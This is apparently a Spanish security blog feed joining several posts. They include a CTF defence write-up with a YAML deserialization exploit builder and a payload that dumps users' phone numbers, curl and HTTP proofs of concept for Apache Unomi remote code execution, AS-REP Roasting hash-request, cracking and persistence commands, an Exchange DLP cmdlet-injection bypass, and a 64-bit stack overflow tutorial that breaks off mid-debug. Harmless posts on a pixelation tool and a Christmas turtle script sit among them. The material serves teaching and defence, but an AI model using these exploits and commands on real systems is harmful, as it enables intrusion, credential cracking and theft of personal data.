Por tanto, la solución más sencilla era: 

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
else
raise ExceptionHandler::InvalidToken, Message.invalid_token
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end

Ahora, si envía un valor que no sea RS256 al campo alg del token, el token se marcará como no válido y el equipo atacante no podrá acceder a la aplicación en nombre de otros usuarios firmando tokens con la clave pública del servicio.


5. Deserialización insegura de YAML 

La última vulnerabilidad se asoció con la deserialización insegura de YAML. El método de importación de la clase PetitionsController fue responsable de importar peticiones a través de su descripción en formato YAML. 

 backend/app/controllers/petitions_controller.rb:

def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Se debería haber prestado especial atención a las siguientes líneas de código:
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return

Como habréis notado, del contenido del objeto YAML se tomaba del parámetro de petición codificado en base64 y luego se conviertía en objetos Ruby usando la estructura YAML.load (yaml). Esta estructura era insegura y permitía, entre otras cosas, la ejecución arbitraria de código Ruby en el sistema de destino dentro de la aplicación vulnerable, que es lo que debió hacer el equipo atacante. 

El siguiente script se utilizó para generar un objeto YAML para aprovechar este fallo:

require "erb"
require "base64"
require "active_support"

if ARGV.empty?
puts "Usage: exploit_builder.rb <source_file>"
exit!
end

erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

payload = Base64.encode64(Marshal.dump(depr))

puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
req: !ruby/object:Rack::Request
env:
rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
loaded: true
HTTP_COOKIE: "a=#{payload}"
store: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD

Se aplicó el siguiente código como payload:
phones = ''
User.all().each do |user|
phones += user.phone + ';'
end
raise phones

El código recibió los números de teléfono de todos los usuarios registrados en el servicio, los combinó mediante (;) y aplicó la estructura raise para provocar una excepción, enviando la línea con los números de teléfono de los usuarios como mensaje de error. Luego, el servidor devolvió el mensaje de error al campo del mensaje de objeto JSON junto con el código de respuesta 500. Una vez que el Equipo atacante recibió esta respuesta, todo lo que tuvo que hacer fue ubicar la flag en el mensaje de error. 

Para protegerse contra esta vulnerabilidad, era suficiente reemplazar la llamada de la función YAML.load (yaml) con la llamada de la función YAML.safe_load (yaml). Sin embargo, durante la verificación de disponibilidad, el checker comprobaba que el objeto YAML transmitido permitiera la aplicación de alias. Por lo tanto, la estructura resultante se representa de la siguiente manera: YAML.safe_load (yaml, aliases: true). Y la función segura resultante en consecuencia:

def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.safe_load(yaml, aliases: true)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Fuente: https://cyberpolygon.com/materials/stsenariy-defence-raytap-k-tekhnicheskomu-treku-cyber-polygon-2020/

RCE sin autenticación previa en Apache Unomi mediante inyecciones MVEL y OGNL (CVE-2020-13942)

$
0
0

Unomi es una plataforma de Apache hecha en Java para manejar datos de cliente. Recientemente Eugene Rojavski publicaba aquí una vulnerabilidad de ejecución remota de código o RCE sin necesidad previa de autenticación. 

Para la misma. hay dos vectores: mediante inyección MVEL y mediante inyección OGNL. Ambos apuntan a un código diferente, aunque los payloads son relativamente similares. 

El fix del CVE anterior https://nvd.nist.gov/vuln/detail/CVE-2020-11975 intentó limitar la ejecución de expresiones OGNL, pero omitió completamente MVEL. El CVE-2020-13942 bypassea el parche realizado en la versión 1.5.1. 

A continuación se muestran las peticiones HTTP (BurpSuite o curl) para obtener RCE contra cualquier servidor Unomi expuesto. Solo hay que cambiar el host y el Content-length de acuerdo con la URL de destino y el comando del sistema operativo. 

*Ambas POCs podrían obtener un 'HTTP/1.1 400 Header Folding' como respuesta, normalmente debido a que falta un \r\n en el payload. Si ocurre, intentar copiarlo y pegarlo otra vez. 

1) MVEL POC 

HTTP request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
Curl:
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) OGNL POC

Mediante OGNL se bypasseaba la restricción del ClassLoader introducida por la versión 1.5.1. Usando la API reflections de Java, es posible crear un objeto sin activar el método ClassLoader.loadClass que restringe las expresiones OGNL evaluadas. 

El desglose del payload OGNL es el siguiente: 

- La primera expresión #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un objeto de clase java.lang.Runtime, donde #this es la referencia al objeto de contexto. 

- La segunda expresión #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]obtiene la lista de métodos de la clase Runtime a través de reflections y elige el método getRuntime de la lista . La parte {^ #this.name.equals(\"getRuntime\")} de la expresión busca un método con el nombre getRuntime y devuelve una lista de los métodos que coinciden con la condición; el primer y único método de esta lista es getRuntime. 

- La tercera expresión #runtimeobject = #runtimemethod.invoke(null,null) llama al método getRuntime() y obtiene el objeto Runtime. 

- La cuarta expresión (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtiene los métodos de la clase Runtime y recupera Runtime.exec() con una sola cadena como argumento fuera de la lista de métodos. 

- La expresión final #execmethod.invoke(#runtimeobject,\"gnome-calculator\") calls Runtime.exec() llama a Runtime.exec() con el argumento especificado. 

HTTP Request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068



{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"eugenebmx"
}
Curl
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

Por supuesto el uso de estos payloads son solo para fines educativos, nosotros nos suscribimos también al descargo de responsabilidad de su autor :-)

Repo: https://github.com/eugenebmx/CVE-2020-13942

ASREPRoast o AS-REP Roasting

$
0
0

El ASREPRoast es una técnica parecida a Kerberoasting que intenta crackear offline las contraseñas de los usuarios de servicio pero las de los que tienen el atributo DONT_REQ_PREAUTH, es decir, los que no se les requiere pre-autenticación en kerberos. 

Por supuesto, no se recomienda habilitar esto porque sin autenticación previa un atacante puede enviar directamente una solicitud ficticia de autenticación sin conocer las credenciales (mensaje KRB_AS_REQ). El KDC devolverá un TGT cifrado y el atacante puede hacerle fuerza bruta de forma offline. Al verificar los logs del KDC, no se verá nada excepto una única solicitud de TGT.

Además, no se necesita una cuenta de dominio para realizar este ataque, solo una conexión al DC. No obstante con una cuenta de dominio se puede realizar una consulta LDAP para ver usuarios tienen marcado ésto. Por ej. con PowerView:

Get-DomainUser -PreauthNotRequired -verbose

Petición AS_REP

Linux

Probando una lista de usuarios en usernames.txt:
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

Usando credenciales de dominio para extraer y usar los objetivos:
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Windows

Rubeus:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

ASREPRoast.ps1:
Get-ASREPHash -Username VPN114user -verbose

Cracking

John the Ripper:
john --wordlist=passwords_kerb.txt hashes.asreproast

Hashcat:
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistencia

Forzar la pre-autenticación no requerida para un usuario en el que tienes permisos GenericAll (o permisos para escribir en sus propiedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Fuentes:

Recuperar contraseñas pixeladas en capturas de pantalla

$
0
0

Capturar pantallas con Greenshot, Shutter u otras herramientas y pixelar texto sensible suele estar a la orden del día. No es difícil encontrar en informes o incluso en posts en Internet pantallazos con esta información "ofuscada", incluso contraseñas. ¿Y si hubiera una herramienta que pudiera "despixelar" y descubrir ese texto en claro?

Lo habéis adivinado, Sipke Mellema ha diseñado un algoritmo y publicado una herramienta en Github para ver en claro el texto pixelado. Básicamente este algoritmo se parece bastante en su base a otros que despixelan imágenes: la técnica consiste en pixelar caracteres similares y verificar si coinciden. En su imagen de ejemplo podemos encontrar la fuente de notepad de Windows:

Esa captura de pantalla se usa como una imagen de búsqueda para bloques similares. Como veis se trata de una secuencia De Bruijn de los caracteres esperados, con combinaciones de 2 caracteres porque algunos bloques pueden superponerse. Encontrar coincidencias adecuadas requiere que exista el bloque exacto de la misma configuración de píxeles en la imagen de búsqueda. Cuando nos encontramos más letras consecutivas los bloques de múltiples coincidencias circundantes se comparan luego para que estén a la misma distancia geométrica que en la imagen pixelada. Estas coincidencias se tratan también como correctas.

Una vez que los bloques correctos no tengan más coincidencias geométricas, generará todos los bloques correctos directamente. Para bloques de múltiples coincidencias, genera el promedio de todas las coincidencias.

Su salida no es ni de lejos perfecta, pero funciona bastante bien. Veamos el uso de la herramienta y sus resultados. Partiendo de la siguiente imagen pixelada:

Ejecutamos la herramienta con la imagen de búsqueda de la secuencia De Brujin con caracteres del Bloc de notas de Windows 10 (incluida en el repo de la herramienta):

$ python3 depix.py -p images/testimages/testimage3_pixels.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o output.png
INFO:root:Loading pixelated image from images/testimages/testimage3_pixels.png
INFO:root:Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
INFO:root:Finding color rectangles from pixelated space
INFO:root:Found 116 same color rectangles
INFO:root:86 rectangles left after moot filter
INFO:root:Found 1 different rectangle sizes
INFO:root:Finding matches in search image
INFO:root:Removing blocks with no matches
INFO:root:Splitting single matches and multiple matches
INFO:root:[10 straight matches | 76 multiple matches]
INFO:root:Trying geometrical matches on single-match squares
INFO:root:[15 straight matches | 71 multiple matches]
INFO:root:Trying another pass on geometrical matches
INFO:root:[17 straight matches | 69 multiple matches]
INFO:root:Writing single match results to output
INFO:root:Writing average results for multiple matches to output
INFO:root:Saving output image to: output.png

Y como veis el resultado es sorprendente, se puede leer perfectamente el texto en claro:

¿A qué ahora te pensarás dos veces pixelar texto en lugar de por ejemplo tacharlo completamente o superponer un rectángulo? ;)

Github: https://github.com/beurtschipper/Depix

Proyecto Freki: una interesante plataforma de análisis de malware

$
0
0

Freki es una plataforma de análisis de malware de código abierto y gratuita que tiene como objetivo facilitar el análisis y reversing de malware. Proporciona una API REST fácil de usar para diferentes proyectos y es de fácil implementación (a través de Docker). Además permite la incorporación de nuevas funciones por parte de la comunidad.

Podríamos decir que incluye las funcionalidades de VirusTotal y MalwareBazaar en una única instancia. Las versión actual incluye las siguientes características:
  • Extracción de hashes: MD5, SHA-1, SHA-256, SHA-384, SHA-512, CRC32 y SSDEEP
  • Consulta la API de VirusTotal para traerse los resultados de AV
  • Análisis estático de muestras de PE: headers, secciones, imports, capabilities y strings
  • Matching de patrones con reglas Yara
  • Gestión de usuarios: creación de cuentas para envíos de muestras y uso de API
  • Comentarios de la comunidad: los usuarios pueden comentar y discutir sobre las muestras
  • Descargar muestras: Todas las muestras están disponibles de forma gratuita

Instalación mediante docker (la forma más sencilla):
  • Clonar repositorio: git clone https://github.com/crhenr/freki.git
  • Instalar Docker y Docker Compose
  • Editar el fichero .env
  • Si estás ejecutándolo en producción se recomienda editar freki.conf y activar HTTPS
  • Ejecutar docker-compose up o make.

CVE-2020-16875: ejecución remota de código en Microsoft Exchange

$
0
0

En septiembre de 2020 se publicó un parche para CVE-2020-16875 que afecta a Microsoft Exchange 2016 y 2019. La vulnerabilidad permite ejecución remota de código (RCE) a través de los cmdlets proporcionados por el endpoint HTTPS /ecp/DLPPolicy de un servidor Exchange.

La vulnerabilidad y la investigación originales fueron reportadas por Steven Seeley de Source Incite (@steventseeley):

https://srcincite.io/advisories/src-2020-0019/ (Aviso)
https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC)

Para solucionar dicha vulnerabilidad se publicó el siguiente parche que filtraba los cmdlets correspondientes:

https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016

Pero, como ya ha pasado otra veces, el análisis del parche condujo al bypass del mismo, y buena cuenta de ello dio el equipo de X41 D-Sec, que volvieron a conseguir inyectar cmdlets en un servidor remoto Exchange. Eso sí, recordar que se requiere un usuario válido con permisos para administrar las políticas de DLP.

El código del parche que previene la explotación es el siguiente:

internal static void ValidateCmdletParameters(string cmdlet,
IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
if (string.IsNullOrWhiteSpace(cmdlet))
{
return;
}
Collection<PSParseError> collection2;
Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
out collection2);
if (collection2 != null && collection2.Count > 0)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
}
if (collection != null)
{
// #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
// RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
if ((from token in collection
where token.Type == PSTokenType.Command
select token).ToList<PSToken>().Count > 1)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
}
}
bool flag = false;
foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
{
// #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
if (cmdlet.StartsWith(keyValuePair.Key,
StringComparison.InvariantCultureIgnoreCase))
{
// #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
// REGEX
if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
RegexOptions.IgnoreCase))
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMissingRequiredParameter(cmdlet,
keyValuePair.Value));
}
flag = true;
}
}
if (!flag)
{
throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
cmdlet));
}
}
Se intenta validar el cmdlet con dos objetivos principales:

1. Evitar varios tokens de comandos de Powershell por cmdlet.
2. Permitir sólo comandos incluidos en la lista blanca con ciertos parámetros.

Para ello, se introdujeron tres controles para filtrar intentos de explotación pero desafortunadamente, estos controles no son suficientes...

Bypass Check #1

El primer check del parche es analizar y tokenizar la cadena de cmdlet y comprobar si hay presente más de un token de tipo PSTokenType.Command. Esto bloquea el payload que tiene varios comandos como por ejemplo:
New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;
$i.FileName="cmd";$i.Arguments="/c %s";
$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()

También se evitan los tokens de comando dentro de las declaraciones `$()` como la siguiente:

new-transportrule -Name $(Diagnostics.Process.Start(....))

Sin embargo, las llamadas directas a .NET a través de la sintaxis de corchetes siguen siendo posible, ya que PSParser no los considera como tokens de "Comando":
new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))
Así que con el comando anterior se consigue bypassear el primer check.

Bypass Check #2

La segunda comprobación se puede omitir fácilmente porque la verificación se realiza en el string en raw del cmdlet y solo usa la función `.StartsWith ()` para comprobar el comienzo del cmdlet. Para bypassearlo solo suministramos una string de comando que esté contenida en las claves válidas dadas a través de requiredParameters:
new-transportruleSOMETHINGELSE....

Bypass Check #3

El tercer check está aplicando una expresión regular al cmdlet para asegurarse de que solo se proporcionan parámetros y valores válidos. Desafortunadamente la expresión regular se queda corta en al menos dos formas:

1. Por defecto, Regex.IsMatch() no matchea varias líneas.
2. La expresión regular aplicada no coincide desde el principio hasta el final del string del cmdlet, pero en su lugar también matchea con subcadenas.

Para omitir la verificación, el cmdlet de Powershell solo necesita contener uno de los parámetros esperados como por ejemplo `DlpPolicy`.

PoC

El siguiente payload puede omitir las tres comprobaciones mencionadas anteriormente:

<![CDATA[ new-transportrule
-Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
-DlpPolicy "%%DlpPolicyName%%"
]]>

Al final, el impacto es idéntico a la vulnerabilidad anterior presente en las instalaciones de Exchange sin parchear.

Versiones afectadas
  •     Microsoft Exchange Server 2016 Cumulative Update 16
  •     Microsoft Exchange Server 2016 Cumulative Update 17
  •     Microsoft Exchange Server 2019 Cumulative Update 5
  •     Microsoft Exchange Server 2019 Cumulative Update 6
Contramedidas

El parche se publicó durante el Patch Tuesday de diciembre. En cualquier caso, es recomendable crear un interfaz más estricto para el acceso a la API del DLP de Exchange. El uso de cmdlets es intrínsecamente peligroso debido a la complejidad del lenguaje de scripting de Powershell. En su lugar, se recomienda una interfaz dedicado que solo acepte parámetros individuales incluidos en lista blanca.

Fuentes:
- https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/
- https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016
- https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-16875
- https://media.cert.europa.eu/static/SecurityAdvisories/2020/CERT-EU-SA2020-044.pdf
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16875

¡Feliz navidad!

$
0
0
import turtle

def main():
window = turtle.Screen()
my_turtle = turtle.Turtle()
screen = my_turtle.getscreen()
screen.title("¡Feliz navidad!")
screen.bgcolor("Blue")
my_turtle.color("green")
my_turtle.pensize(5)
my_turtle.begin_fill()
my_turtle.forward(100)
my_turtle.left(150)
my_turtle.forward(90)
my_turtle.right(150)
my_turtle.forward(60)
my_turtle.left(150)
my_turtle.forward(60)
my_turtle.right(150)
my_turtle.forward(40)
my_turtle.left(150)
my_turtle.forward(100)
my_turtle.left(60)
my_turtle.forward(100)
my_turtle.left(150)
my_turtle.forward(40)
my_turtle.right(150)
my_turtle.forward(60)
my_turtle.left(150)
my_turtle.forward(60)
my_turtle.right(150)
my_turtle.forward(90)
my_turtle.left(150)
my_turtle.forward(133)
my_turtle.end_fill()
my_turtle.color("red")
my_turtle.pensize(1)
my_turtle.begin_fill()
my_turtle.right(90)
my_turtle.forward(70)
my_turtle.right(90)
my_turtle.forward(33)
my_turtle.right(90)
my_turtle.forward(70)
my_turtle.end_fill()
my_turtle.speed(1)
my_turtle.penup()
my_turtle.color('yellow')
my_turtle.goto(-28, 110)
my_turtle.begin_fill()
my_turtle.pendown()
for i in range(5):
my_turtle.forward(40)
my_turtle.right(144)
my_turtle.end_fill()
def ball(trt, x, y, size=10, colour="red"):
trt.penup()
trt.setpos(x, y)
trt.color(colour)
trt.begin_fill()
trt.pendown()
trt.circle(size)
trt.end_fill()
ball(my_turtle, 95, -5)
ball(my_turtle, -110, -5)
ball(my_turtle, 80, 40, size=7, colour="yellow")
ball(my_turtle, -98, 40, size=7, colour="yellow")
ball(my_turtle, 70, 70, size=5)
ball(my_turtle, -93, 70, size=5)
def create_circle(turtle, x, y, radius, color):
my_turtle.penup()
my_turtle.color(color)
my_turtle.fillcolor(color)
my_turtle.goto(x, y)
my_turtle.pendown()
my_turtle.begin_fill()
my_turtle.circle(radius)
my_turtle.end_fill()
create_circle(my_turtle, 230, 180, 60, "white")
create_circle(my_turtle, 210, 180, 60, "#E731CE")
my_turtle.speed(1)
my_turtle.penup()
msg = "¡Feliz navidad desde Hackplayers!"
my_turtle.goto(0, -200)
my_turtle.color("white")
my_turtle.pendown()
my_turtle.write(msg, move=False, align="center", font=("Arial", 20, "bold"))
my_turtle.hideturtle()
window.mainloop()

if __name__ == "__main__":
main()

 Ho ho ho! 2013201420152016201720182019 ...


Sitúan a un hacker español como el mejor valorado de 2020

$
0
0

Alejandro Tapia Vacas (arriba en la foto) es español y posiblemente un desconocido para la prensa, pero ahí dónde lo veis ha estado en los puestos más altos de los CTFs más importantes del mundo: Defcon, NorthSec, VolgaCTF, Nuit du Hack, PHD, RuCTF y un largo etcétera... no ha faltado a las citas más importantes dónde los hackers compiten entre sí midiendo sus destrezas y en todas ellas ha ido sumando un score impresionante de 28 (https://ctftime.org), lo que ha hecho ponerse en cabeza de la clasificación global y ser reconocido internacionalmente por la UHA (United Hackers Association).

Autor de varios artículos, también en este blog, a sus 26 años ya trabaja en una multinacional reconocida como penetration tester a la vez que compagina su trabajo con la participación en competiciones de forma individual o con su grupo P1k0rd3p3l0t4$. Asiduo también en grupos de Telegram como el propio de Hackplayers y HTB hispano (donde le conocimos) ha tenido tiempo incluso de mejorar aún más su ranking en plataformas de bug bounty como HackerOne y Bugcrowd, a través de las cuales ya ha conseguido superar la barrera de los 150€. Sin duda y pese a la pandemia este ha sido su año así que sirva también este post como otro pequeño gran homenaje. ¡Enhorabuena Ale!

Taller de exploiting: baby BOF en Linux x64

$
0
0

Voy a retomar los ejercicios de exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:   

  • Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI. 
  • El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente. 
  • Se han proporcionado registros adicionales: R8 a R15. 
  • Los punteros tienen un ancho de 8 bytes. 
  • Push/pop en la pila tienen 8 bytes. 
  • El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF. 
  • Los parámetros de las funciones se pasan a través de registros.   

Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:  

#include <stdio.h>
#include <unistd.h>

int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
puts("No shell!");
return 0;
}

int main(int argc, char *argv[]) {
vuln();
return 0;
}
 Lo compilamos sin las protecciones correspondientes:  
$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64
Le ponemos el SUID para obtener posteriormente una root shell:  
$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64
Y no olvidemos desactivar temporalmente ASLR para el ejercicio:  
echo 0 > /proc/sys/kernel/randomize_va_space 
Probamos la ejecución normal del programa:  
$ ./ejercicio1x64 
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
 
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAa

Ya tenemos el binario así que vamos manos a la obra :-P

Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.   

Para crear rápidamente un fichero con esas 400 "A"s:  

$ python3 -c 'print "A"*400'> in.txt
 Y lo pasamos en la ejecución con el debugger:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A', "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A'...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('A', "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718
: push rbp
0x555555554719
: mov rbp,rsp
0x55555555471c
: sub rsp,0x10
0x555555554720
: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ('A'...)
0008| 0x7fffffffd960 ('A'...)
0016| 0x7fffffffd968 ('A'...)
0024| 0x7fffffffd970 ('A'...)
0032| 0x7fffffffd978 ('A'...)
0040| 0x7fffffffd980 ('A'...)
0048| 0x7fffffffd988 ('A'...)
0056| 0x7fffffffd990 ('A'...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()

Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto. Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción. 

Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.   

Podemos usar un patrón cíclico para encontrar este desplazamiento:  

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Ahora lo volvemos a ejecutar con ese patrón:  
gdb-peda$ r < in.txt 
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!

Program received signal SIGSEGV, Segmentation fault.


[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1
RBP: 0x416841414c414136 ('6AALAAhA')
